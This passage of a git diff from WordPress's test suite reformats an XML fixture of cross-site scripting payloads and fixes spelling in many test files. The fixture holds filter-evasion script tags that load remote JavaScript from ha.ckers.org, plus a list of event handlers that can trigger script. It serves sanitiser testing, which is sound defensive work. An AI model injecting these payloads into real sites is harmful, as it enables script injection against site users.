attacker could perform the same function) + -onDataSetChanged() (fires when the data set exposed by a data source object changes) - + -onDataSetComplete() (fires to indicate that all data is available from the data source object) - + -onDblClick() (fires when user double-clicks a form element or a link) - + -onDeactivate() (fires when the activeElement is changed from the current object to another object in the parent document) - + -onDrag() (requires that the user drags an object) - + -onDragEnd() (requires that the user drags an object) - + -onDragLeave() (requires that the user drags an object off a valid location) - + -onDragEnter() (requires that the user drags an object into a valid location) - + -onDragOver() (requires that the user drags an object into a valid location) - + -onDragDrop() (user drops an object (e.g. file) onto the browser window) - + -onDrop() (fires when user drops an object (e.g. file) onto the browser window) -</desc> - <label>Event Handlers</label> - <browser>Browser support:</browser> - </attack> - <attack> - <name>Event Handlers List 2</name> - <code>See Below</code> +</desc> + <label>Event Handlers</label> + <browser>Browser support:</browser> + </attack> + <attack> + <name>Event Handlers List 2</name> + <code>See Below</code> <desc>-onEnd() (fires when the timeline ends. This can be exploited, like most of the HTML+TIME event handlers by doing something like <P STYLE="behavior:url('#default#time2')" onEnd="alert('XSS')">) - + -onError() (loading of a document or image causes an error) - + -onErrorUpdate() (fires on a databound object when an error occurs while updating the associated data in the data source object) - + -onFilterChange() (fires when a visual filter completes state change) - + -onFinish() (attacker could create the exploit when marquee is finished looping) - + -onFocus() (attacker executes the attack string when the window gets focus) - + -onFocusIn() (attacker executes the attack string when window gets focus) - + -onFocusOut() (attacker executes the attack string when window loses focus) - + -onHelp() (attacker executes the attack string when users hits F1 while the window is in focus) - + -onKeyDown() (fires when user depresses a key) - + -onKeyPress() (fires when user presses or holds down a key) - + -onKeyUp() (fires when user releases a key) - + -onLayoutComplete() (user would have to print or print preview) - + -onLoad() (attacker executes the attack string after the window loads) - + -onLoseCapture() (can be exploited by the releaseCapture() method) - + -onMediaComplete() (when a streaming media file is used, this event could fire before the file starts playing) - + -onMediaError() (User opens a page in the browser that contains a media file, and the event fires when there is a problem) - + -onMouseDown() (the attacker would need to get the user to click on an image) - + -onMouseEnter() (fires when cursor moves over an object or area) - + -onMouseLeave() (the attacker would need to get the user to mouse over an image or table and then off again) - + -onMouseMove() (the attacker would need to get the user to mouse over an image or table) - + -onMouseOut() (the attacker would need to get the user to mouse over an image or table and then off again) - + -onMouseOver() (fires when cursor moves over an object or area) - + -onMouseUp() (the attacker would need to get the user to click on an image) - + -onMouseWheel() (the attacker would need to get the user to use their mouse wheel) - + -onMove() (user or attacker would move the page) - + -onMoveEnd() (user or attacker would move the page) - + -onMoveStart() (user or attacker would move the page) - + -onOutOfSync() (interrupt the element's ability to play its media as defined by the timeline) - + -onPaste() (user would need to paste or attacker could use the execCommand("Paste") function) - + -onPause() (fires on every element that is active when the timeline pauses, including the body element) - + -onProgress() (attacker would use this as a flash movie was loading) - + -onPropertyChange() (user or attacker would need to change an element property) - + -onReadyStateChange() (user or attacker would need to change an element property) -</desc> - <label>Event Handlers</label> - <browser>Browser support:</browser> - </attack> - <attack> - <name>Event Handlers List 3</name> - <code>See Below</code> +</desc> + <label>Event Handlers</label> + <browser>Browser support:</browser> + </attack> + <attack> + <name>Event Handlers List 3</name> + <code>See Below</code> <desc>-onRepeat() (fires once for each repetition of the timeline, excluding the first full cycle) - + -onReset() (fires when user or attacker resets a form) - + -onResize() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>) - + -onResizeEnd() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>) - + -onResizeStart() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>) - + -onResume() (fires on every element that becomes active when the timeline resumes, including the body element) - + -onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward) - + -onRowEnter() (user or attacker would need to change a row in a data source) - + -onRowExit() (user or attacker would need to change a row in a data source) - + -onRowsDelete() (user or attacker would need to delete a row in a data source) - + -onRowsInserted() (user or attacker would need to insert a row in a data source) - + -onScroll() (user would need to scroll, or attacker could use the scrollBy() function) - + -onSeek() (fires when the timeline is set to play in any direction other than forward) - + -onSelect() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");) - + -onSelectionChange() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");) - + -onSelectStart() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");) - + -onStart() (fires at the beginning of each marquee loop) - + -onStop() (user would need to press the stop button or leave the webpage) - + -onSyncRestored() (user interrupts the element's ability to play its media as defined by the timeline to fire) - + -onSubmit() (requires attacker or user submits a form) - + -onTimeError() (fires when user or attacker sets a time property, such as "dur", to an invalid value) - + -onTrackChange() (fires when user or attacker changes track in a playList) - + -onUnload() (fires when the user clicks any link or presses the back button or attacker forces a click) - + -onURLFlip() (fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file) - + -seekSegmentTime() (locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.) -</desc> - <label>Event Handlers</label> - <browser>Browser support:</browser> - </attack> - <attack> - <name>Evade Regex Filter 1</name> - <code><SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT></code> +</desc> + <label>Event Handlers</label> + <browser>Browser support:</browser> + </attack> + <attack> + <name>Evade Regex Filter 1</name> + <code><SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT></code> <desc>For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of the following regex filter: - /<script[^>]+src/i</desc> - <label>XSS w/HTML Quote Encapsulation</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> - </attack> - <attack> - <name>Evade Regex Filter 2</name> - <code><SCRIPT ="blah" SRC="http://ha.ckers.org/xss.js"></SCRIPT></code> + /<script[^>]+src/i</desc> + <label>XSS w/HTML Quote Encapsulation</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> + </attack> + <attack> + <name>Evade Regex Filter 2</name> + <code><SCRIPT ="blah" SRC="http://ha.ckers.org/xss.js"></SCRIPT></code> <desc>For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of a regex filter: /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i - -(this is an important one, because I've seen this regex in the wild)</desc> - <label>XSS w/HTML Quote Encapsulation</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> - </attack> - <attack> - <name>Evade Regex Filter 3</name> - <code><SCRIPT a="blah" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT></code> + +(this is an important one, because I've seen this regex in the wild)</desc> + <label>XSS w/HTML Quote Encapsulation</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> + </attack> + <attack> + <name>Evade Regex Filter 3</name> + <code><SCRIPT a="blah" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT></code> <desc>Another XSS to evade this regex filter: - /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i</desc> - <label>XSS w/HTML Quote Encapsulation</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> - </attack> - <attack> - <name>Evade Regex Filter 4</name> - <code><SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT></code> + /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i</desc> + <label>XSS w/HTML Quote Encapsulation</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> + </attack> + <attack> + <name>Evade Regex Filter 4</name> + <code><SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT></code> <desc>Yet another XSS to evade the same filter: - /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i -The only thing I've seen work against this XSS attack if you still want to allow <SCRIPT> tags but not remote scripts is a state machine (and of course there are other ways to get around this if they allow <SCRIPT> tags)</desc> - <label>XSS w/HTML Quote Encapsulation</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> - </attack> - <attack> - <name>Evade Regex Filter 5</name> - <code><SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT></code> + /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i +The only thing I've seen work against this XSS attack if you still want to allow <SCRIPT> tags but not remote scripts is a state machine (and of course there are other ways to get around this if they allow <SCRIPT> tags)</desc> + <label>XSS w/HTML Quote Encapsulation</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> + </attack> + <attack> + <name>Evade Regex Filter 5</name> + <code><SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT></code> <desc>And one last XSS attack (using grave accents) to evade this regex: - /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i</desc> - <label>XSS w/HTML Quote Encapsulation</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> - </attack> - <attack> - <name>Filter Evasion 1</name> - <code><SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT></code> - <desc>This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content.</desc> - <label>XSS w/HTML Quote Encapsulation</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> - </attack> - <attack> - <name>Filter Evasion 2</name> - <code><SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT></code> - <desc>Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly.</desc> - <label>XSS w/HTML Quote Encapsulation</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> + /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i</desc> + <label>XSS w/HTML Quote Encapsulation</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> + </attack> + <attack> + <name>Filter Evasion 1</name> + <code><SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT></code> + <desc>This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content.</desc> + <label>XSS w/HTML Quote Encapsulation</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> + </attack> + <attack> + <name>Filter Evasion 2</name> + <code><SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT></code> + <desc>Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly.</desc> + <label>XSS w/HTML Quote Encapsulation</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> </attack> </xss> diff --git a/tests/phpunit/includes/abstract-testcase.php b/tests/phpunit/includes/abstract-testcase.php index 5860ddc436..f2978644fa 100644 --- a/tests/phpunit/includes/abstract-testcase.php +++ b/tests/phpunit/includes/abstract-testcase.php @@ -1642,7 +1642,7 @@ abstract class WP_UnitTestCase_Base extends PHPUnit_Adapter_TestCase { /** * Touches the given file and its directory if it doesn't already exist. * - * This can be used to ensure a file that is implictly relied on in a test exists + * This can be used to ensure a file that is implicitly relied on in a test exists * without it having to be built. * * @param string $file The file name. diff --git a/tests/phpunit/includes/factory/class-wp-unittest-factory-for-thing.php b/tests/phpunit/includes/factory/class-wp-unittest-factory-for-thing.php index adc0a4cc75..786e70bdc4 100644 --- a/tests/phpunit/includes/factory/class-wp-unittest-factory-for-thing.php +++ b/tests/phpunit/includes/factory/class-wp-unittest-factory-for-thing.php @@ -155,7 +155,7 @@ abstract class WP_UnitTest_Factory_For_Thing { * @param array|null $callbacks Optional. Array with callbacks to apply on the fields. * Default null. * - * @return array|WP_Error Combined array on success. WP_Error when default value is incorrent. + * @return array|WP_Error Combined array on success. WP_Error when default value is incorrect. */ public function generate_args( $args = array(), $generation_definitions = null, &$callbacks = null ) { $callbacks = array(); diff --git a/tests/phpunit/includes/normalize-xml.xsl b/tests/phpunit/includes/normalize-xml.xsl index 135556c61b..cb6f9f6d2a 100644 --- a/tests/phpunit/includes/normalize-xml.xsl +++ b/tests/phpunit/includes/normalize-xml.xsl @@ -3,7 +3,7 @@ Normalize an XML document to make it easier to compare whether 2 documents will be seen as "equal" to an XML processor. - The normalization is similiar, in spirit, to {@link https://www.w3.org/TR/xml-c14n11/ Canonical XML}, + The normalization is similar, in spirit, to {@link https://www.w3.org/TR/xml-c14n11/ Canonical XML}, but without some aspects of C14N that make the kinds of assertions we need difficult. For example, the following XML documents will be interpreted the same by an XML processor, @@ -23,7 +23,7 @@ > <!-- - Output UTF-8 XML, no indendation and all CDATA sections replaced with their character content. + Output UTF-8 XML, no indentation and all CDATA sections replaced with their character content. --> <xsl:output method='xml' @@ -61,12 +61,12 @@ </xsl:template> <!-- - Strip comments. + Strip comments. --> <xsl:template match='comment()' priority='10' /> <!-- - Pass all other nodes through unchanged. + Pass all other nodes through unchanged. --> <xsl:template match='node()'> <xsl:copy> diff --git a/tests/phpunit/includes/testcase-ajax.php b/tests/phpunit/includes/testcase-ajax.php index 0478c10900..2e86c29e67 100644 --- a/tests/phpunit/includes/testcase-ajax.php +++ b/tests/phpunit/includes/testcase-ajax.php @@ -133,7 +133,7 @@ abstract class WP_Ajax_UnitTestCase extends WP_UnitTestCase { /** * Sets up the test fixture. * - * Overrides wp_die(), pretends to be Ajax, and suppresses E_WARNINGs. + * Overrides wp_die(), pretends to be Ajax, and suppresses warnings. */ public function set_up() { parent::set_up(); @@ -161,7 +161,7 @@ abstract class WP_Ajax_UnitTestCase extends WP_UnitTestCase { $_GET = array(); unset( $GLOBALS['post'] ); unset( $GLOBALS['comment'] ); - remove_filter( 'wp_die_ajax_handler', array( $this, 'getDieHandler' ), 1, 1 ); + remove_filter( 'wp_die_ajax_handler', array( $this, 'getDieHandler' ), 1 ); remove_action( 'clear_auth_cookie', array( $this, 'logout' ) ); error_reporting( $this->_error_level ); set_current_screen( 'front' ); diff --git a/tests/phpunit/tests/actions.php b/tests/phpunit/tests/actions.php index e25183f759..ce4d896015 100644 --- a/tests/phpunit/tests/actions.php +++ b/tests/phpunit/tests/actions.php @@ -613,7 +613,7 @@ class Tests_Actions extends WP_UnitTestCase { /** * @ticket 17817 * - * This specificaly addresses the concern raised at + * This specifically addresses the concern raised at * https://core.trac.wordpress.org/ticket/17817#comment:52 * * @covers ::remove_filter diff --git a/tests/phpunit/tests/ajax/wpAjaxParseMediaShortcode.php b/tests/phpunit/tests/ajax/wpAjaxParseMediaShortcode.php index 19c7f20449..967c3db202 100755 --- a/tests/phpunit/tests/ajax/wpAjaxParseMediaShortcode.php +++ b/tests/phpunit/tests/ajax/wpAjaxParseMediaShortcode.php @@ -42,7 +42,7 @@ class Tests_Ajax_wpAjaxParseMediaShortcode extends WP_Ajax_UnitTestCase { $_POST = array_merge( array( - 'action' => 'paser-media-shortcode', + 'action' => 'parse-media-shortcode', 'type' => '', ), $payload diff --git a/tests/phpunit/tests/ajax/wpAjaxResponse.php b/tests/phpunit/tests/ajax/wpAjaxResponse.php index 8573dae527..f280ec60ad 100644 --- a/tests/phpunit/tests/ajax/wpAjaxResponse.php +++ b/tests/phpunit/tests/ajax/wpAjaxResponse.php @@ -21,7 +21,7 @@ class Tests_Ajax_wpAjaxResponse extends WP_UnitTestCase { /** * Set up the test fixture. - * Override wp_die(), pretend to be ajax, and suppres E_WARNINGs + * Override wp_die(), pretend to be ajax, and suppress warnings. */ public function set_up() { parent::set_up(); diff --git a/tests/phpunit/tests/auth.php b/tests/phpunit/tests/auth.php index 162366da9b..8fb3a5b875 100644 --- a/tests/phpunit/tests/auth.php +++ b/tests/phpunit/tests/auth.php @@ -149,8 +149,8 @@ class Tests_Auth extends WP_UnitTestCase { $password = "pass with new line \n"; $this->assertTrue( wp_check_password( 'pass with new line', wp_hash_password( $password ) ) ); - $password = "pass with vertial tab o_O\x0B"; - $this->assertTrue( wp_check_password( 'pass with vertial tab o_O', wp_hash_password( $password ) ) ); + $password = "pass with vertical tab o_O\x0B"; + $this->assertTrue( wp_check_password( 'pass with vertical tab o_O', wp_hash_password( $password ) ) ); } /** diff --git a/tests/phpunit/tests/blocks/register.php b/tests/phpunit/tests/blocks/register.php index 02920a1c21..1dbc688bb1 100644 --- a/tests/phpunit/tests/blocks/register.php +++ b/tests/phpunit/tests/blocks/register.php @@ -888,7 +888,7 @@ class Tests_Blocks_Register extends WP_UnitTestCase { DIR_TESTDATA . '/blocks/notice', array( 'name' => 'tests/notice-with-overrides', - 'title' => 'Overriden title', + 'title' => 'Overridden title', 'style' => array( 'tests-notice-style-overridden' ), ) ); @@ -896,7 +896,7 @@ class Tests_Blocks_Register extends WP_UnitTestCase { $this->assertInstanceOf( 'WP_Block_Type', $result, 'The block was not registered' ); $this->assertSame( 2, $result->api_version, 'The API version is incorrect' ); $this->assertSame( 'tests/notice-with-overrides', $result->name, 'The block name was not overridden' ); - $this->assertSame( 'Overriden title', $result->title, 'The block title was not overridden' ); + $this->assertSame( 'Overridden title', $result->title, 'The block title was not overridden' ); $this->assertSameSets( array( 'tests-notice-editor-script' ), $result->editor_script_handles, @@ -937,7 +937,7 @@ class Tests_Blocks_Register extends WP_UnitTestCase { 'no block.json file and no name argument' => array( 'file' => '', // No block.json file. 'args' => array( - 'title' => 'Overriden title', + 'title' => 'Overridden title', 'style' => array( 'tests-notice-style-overridden' ), ), ), @@ -950,7 +950,7 @@ class Tests_Blocks_Register extends WP_UnitTestCase { // A file that exists but is empty. This will bypass the file_exists() check. 'file' => DIR_TESTDATA . '/blocks/notice/block.js', 'args' => array( - 'title' => 'Overriden title', + 'title' => 'Overridden title', 'style' => array( 'tests-notice-style-overridden' ), ), ), diff --git a/tests/phpunit/tests/blocks/supportedStyles.php b/tests/phpunit/tests/blocks/supportedStyles.php index 95c5326b45..dcd029ad27 100644 --- a/tests/phpunit/tests/blocks/supportedStyles.php +++ b/tests/phpunit/tests/blocks/supportedStyles.php @@ -169,7 +169,7 @@ class Tests_Blocks_SupportedStyles extends WP_UnitTestCase { 'attrs' => array( 'textColor' => 'red', 'backgroundColor' => 'black', - // The following should not be applied (subcatagories of color support). + // The following should not be applied (subcategories of color support). 'gradient' => 'some-gradient', ), 'innerBlock' => array(), @@ -203,7 +203,7 @@ class Tests_Blocks_SupportedStyles extends WP_UnitTestCase { 'color' => array( 'text' => '#000', 'background' => '#fff', - // The following should not be applied (subcatagories of color support). + // The following should not be applied (subcategories of color support). 'gradient' => 'some-gradient', 'style' => array( 'color' => array( 'link' => '#fff' ) ), ), diff --git a/tests/phpunit/tests/blocks/wpBlockType.php b/tests/phpunit/tests/blocks/wpBlockType.php index b826faf575..a73efa8ce8 100644 --- a/tests/phpunit/tests/blocks/wpBlockType.php +++ b/tests/phpunit/tests/blocks/wpBlockType.php @@ -306,7 +306,7 @@ class Tests_Blocks_wpBlockType extends WP_UnitTestCase { * @ticket 45097 */ public function test_has_block_with_invalid_content() { - // some content with invalid HMTL comments and a single valid block. + // some content with invalid HTML comments and a single valid block. $invalid_content = 'before' . '<!- - wp:core/weird-space --><!-- /wp:core/weird-space -->' . '<!--wp:core/untrimmed-left --><!-- /wp:core/untrimmed -->' . diff --git a/tests/phpunit/tests/cache.php b/tests/phpunit/tests/cache.php index faf64de5a0..1f345652b1 100644 --- a/tests/phpunit/tests/cache.php +++ b/tests/phpunit/tests/cache.php @@ -357,7 +357,7 @@ class Tests_Cache extends WP_UnitTestCase { $val2 = 'val2'; if ( ! is_multisite() ) { - // Single site ingnores switch_to_blog(). + // Single site ignores switch_to_blog(). $this->assertTrue( $this->cache->set( $key, $val ) ); $this->assertSame( $val, $this->cache->get( $key ) ); $this->cache->switch_to_blog( 999 ); diff --git a/tests/phpunit/tests/comment/getPageOfComment.php b/tests/phpunit/tests/comment/getPageOfComment.php index bfb5c92c30..44e6af5ac3 100644 --- a/tests/phpunit/tests/comment/getPageOfComment.php +++ b/tests/phpunit/tests/comment/getPageOfComment.php @@ -306,20 +306,20 @@ class Tests_Comment_GetPageOfComment extends WP_UnitTestCase { $comment_children[ $i ] = $child; } - $page_1_indicies = array( 2, 3, 4 ); - $page_2_indicies = array( 0, 1 ); + $page_1_indices = array( 2, 3, 4 ); + $page_2_indices = array( 0, 1 ); $args = array( 'per_page' => 3, 'max_depth' => 2, ); - foreach ( $page_1_indicies as $p1i ) { + foreach ( $page_1_indices as $p1i ) { $this->assertSame( 1, (int) get_page_of_comment( $comment_parents[ $p1i ], $args ) ); $this->assertSame( 1, (int) get_page_of_comment( $comment_children[ $p1i ], $args ) ); } - foreach ( $page_2_indicies as $p2i ) { + foreach ( $page_2_indices as $p2i ) { $this->assertSame( 2, (int) get_page_of_comment( $comment_parents[ $p2i ], $args ) ); $this->assertSame( 2, (int) get_page_of_comment( $comment_children[ $p2i ], $args ) ); } diff --git a/tests/phpunit/tests/cron.php b/tests/phpunit/tests/cron.php index ec97b366d0..a56569c527 100644 --- a/tests/phpunit/tests/cron.php +++ b/tests/phpunit/tests/cron.php @@ -915,7 +915,7 @@ class Tests_Cron extends WP_UnitTestCase { return new WP_Error( 'my_error', - 'An error ocurred' + 'An error occurred' ); }; @@ -947,7 +947,7 @@ class Tests_Cron extends WP_UnitTestCase { return new WP_Error( 'my_error', - 'An error ocurred' + 'An error occurred' ); }; @@ -1112,7 +1112,7 @@ class Tests_Cron extends WP_UnitTestCase { return new WP_Error( 'my_error', - 'An error ocurred' + 'An error occurred' ); }; @@ -1137,7 +1137,7 @@ class Tests_Cron extends WP_UnitTestCase { return new WP_Error( 'my_error', - 'An error ocurred' + 'An error occurred' ); }; diff --git a/tests/phpunit/tests/db.php b/tests/phpunit/tests/db.php index 3ac4507b6e..68181cfdc7 100644 --- a/tests/phpunit/tests/db.php +++ b/tests/phpunit/tests/db.php @@ -573,10 +573,10 @@ class Tests_DB extends WP_UnitTestCase { /** * Test the `get_col()` method. * - * @param string|null $query The query to run. - * @param string|array $expected The expected resulting value. - * @param arrray|string|null $last_result The value to assign to `$wpdb->last_result`. - * @param int|string $column The column index to retrieve. + * @param string|null $query The query to run. + * @param string|array $expected The expected resulting value. + * @param array|string|null $last_result The value to assign to `$wpdb->last_result`. + * @param int|string $column The column index to retrieve. * * @dataProvider data_get_col * @@ -607,10 +607,10 @@ class Tests_DB extends WP_UnitTestCase { * @return array { * Arguments for testing `get_col()`. * - * @type string|null $query The query to run. - * @type string|array $expected The resulting expected value. - * @type arrray|string|null $last_result The value to assign to `$wpdb->last_result`. - * @type int|string $column The column index to retrieve. + * @type string|null $query The query to run. + * @type string|array $expected The resulting expected value. + * @type array|string|null $last_result The value to assign to `$wpdb->last_result`. + * @type int|string $column The column index to retrieve. */ public function data_get_col() { global $wpdb; diff --git a/tests/phpunit/tests/db/dbDelta.php b/tests/phpunit/tests/db/dbDelta.php index dae1bf9298..8b028e030e 100644 --- a/tests/phpunit/tests/db/dbDelta.php +++ b/tests/phpunit/tests/db/dbDelta.php @@ -735,7 +735,7 @@ class Tests_DB_dbDelta extends WP_UnitTestCase { /** * @ticket 20263 */ - public function test_key_and_index_and_fulltext_key_and_fulltext_index_and_unique_key_and_unique_index_indicies() { + public function test_key_and_index_and_fulltext_key_and_fulltext_index_and_unique_key_and_unique_index_indices() { global $wpdb; $schema = " diff --git a/tests/phpunit/tests/dependencies/styles.php b/tests/phpunit/tests/dependencies/styles.php index da79c2812d..8746c09533 100644 --- a/tests/phpunit/tests/dependencies/styles.php +++ b/tests/phpunit/tests/dependencies/styles.php @@ -160,7 +160,7 @@ class Tests_Dependencies_Styles extends WP_UnitTestCase { } /** - * Test if inline styles work with concatination + * Test if inline styles work with concatenation * * @global WP_Styles $wp_styles * @ticket 24813 diff --git a/tests/phpunit/tests/filters.php b/tests/phpunit/tests/filters.php index 6d512a19ac..8294d07d6e 100644 --- a/tests/phpunit/tests/filters.php +++ b/tests/phpunit/tests/filters.php @@ -313,7 +313,7 @@ class Tests_Filters extends WP_UnitTestCase { $this->assertFalse( has_filter( 'all', array( $a, 'filterall' ) ) ); $this->assertFalse( has_filter( 'all' ) ); $this->assertSame( $val, apply_filters( $hook_name, $val ) ); - // Call cound should remain at 1. + // Call count should remain at 1. $this->assertSame( 1, $a->get_call_count() ); $this->assertSame( array( $hook_name ), $a->get_hook_names() ); } diff --git a/tests/phpunit/tests/fonts/font-library/wpRestFontFamiliesController.php b/tests/phpunit/tests/fonts/font-library/wpRestFontFamiliesController.php index 855df65369..78890139f3 100644 --- a/tests/phpunit/tests/fonts/font-library/wpRestFontFamiliesController.php +++ b/tests/phpunit/tests/fonts/font-library/wpRestFontFamiliesController.php @@ -382,8 +382,8 @@ class Tests_REST_WpRestFontFamiliesController extends WP_Test_REST_Controller_Te $this->assertSame( 201, $response->get_status(), 'The response status should be 201.' ); $this->check_font_family_data( $data, $data['id'], $response->get_links() ); - $reponse_settings = $data['font_family_settings']; - $this->assertSame( $settings, $reponse_settings, 'The expected settings should exist in the font_family_settings data.' ); + $response_settings = $data['font_family_settings']; + $this->assertSame( $settings, $response_settings, 'The expected settings should exist in the font_family_settings data.' ); $this->assertEmpty( $data['font_faces'], 'The font_faces should be empty or not exist in the response data.' ); } diff --git a/tests/phpunit/tests/formatting/cleanPre.php b/tests/phpunit/tests/formatting/cleanPre.php index 49d0ab9e2b..724b89bb76 100644 --- a/tests/phpunit/tests/formatting/cleanPre.php +++ b/tests/phpunit/tests/formatting/cleanPre.php @@ -1,7 +1,7 @@ <?php /** - * The clean_pre() removes pararaph and line break + * The clean_pre() removes paragraph and line break * tags within `<pre>` elements as part of wpautop(). * * @group formatting diff --git a/tests/phpunit/tests/formatting/convertSmilies.php b/tests/phpunit/tests/formatting/convertSmilies.php index c7f0803804..6a6cfffdeb 100644 --- a/tests/phpunit/tests/formatting/convertSmilies.php +++ b/tests/phpunit/tests/formatting/convertSmilies.php @@ -55,8 +55,8 @@ class Tests_Formatting_ConvertSmilies extends WP_UnitTestCase { "<strong;)>a little bit of this\na little bit:other: of that \xf0\x9f\x98\x80\n\xf0\x9f\x98\x80 a little bit of good\nyeah with a little bit of bad8O", ), array( - '<strong style="here comes the sun :-D">and I say it\'s allright:D:D', - '<strong style="here comes the sun :-D">and I say it\'s allright:D:D', + '<strong style="here comes the sun :-D">and I say it\'s alright:D:D', + '<strong style="here comes the sun :-D">and I say it\'s alright:D:D', ), array( '<!-- Woo-hoo, I\'m a comment, baby! :x > -->', @@ -254,7 +254,7 @@ class Tests_Formatting_ConvertSmilies extends WP_UnitTestCase { smilies_init(); } - $orig_trans = $wpsmiliestrans; // Save original tranlations array. + $orig_trans = $wpsmiliestrans; // Save original translations array. $wpsmiliestrans = array( ':)' => 'simple-smile.png', diff --git a/tests/phpunit/tests/formatting/emoji.php b/tests/phpunit/tests/formatting/emoji.php index a8a83781b1..e107103db4 100644 --- a/tests/phpunit/tests/formatting/emoji.php +++ b/tests/phpunit/tests/formatting/emoji.php @@ -111,7 +111,7 @@ class Tests_Formatting_Emoji extends WP_UnitTestCase { '🙂', ), array( - // Bird, ZWJ, black large squre, emoji selector. + // Bird, ZWJ, black large square, emoji selector. '🐦⬛', '🐦‍⬛', ), diff --git a/tests/phpunit/tests/formatting/escUrl.php b/tests/phpunit/tests/formatting/escUrl.php index f23b5269e5..769ecacfdc 100644 --- a/tests/phpunit/tests/formatting/escUrl.php +++ b/tests/phpunit/tests/formatting/escUrl.php @@ -258,7 +258,7 @@ EOT; * * @covers ::sanitize_url */ - public function test_invalid_charaters() { + public function test_invalid_characters() { $this->assertEmpty( sanitize_url( '"^<>{}`' ) ); } diff --git a/tests/phpunit/tests/formatting/makeClickable.php b/tests/phpunit/tests/formatting/makeClickable.php index 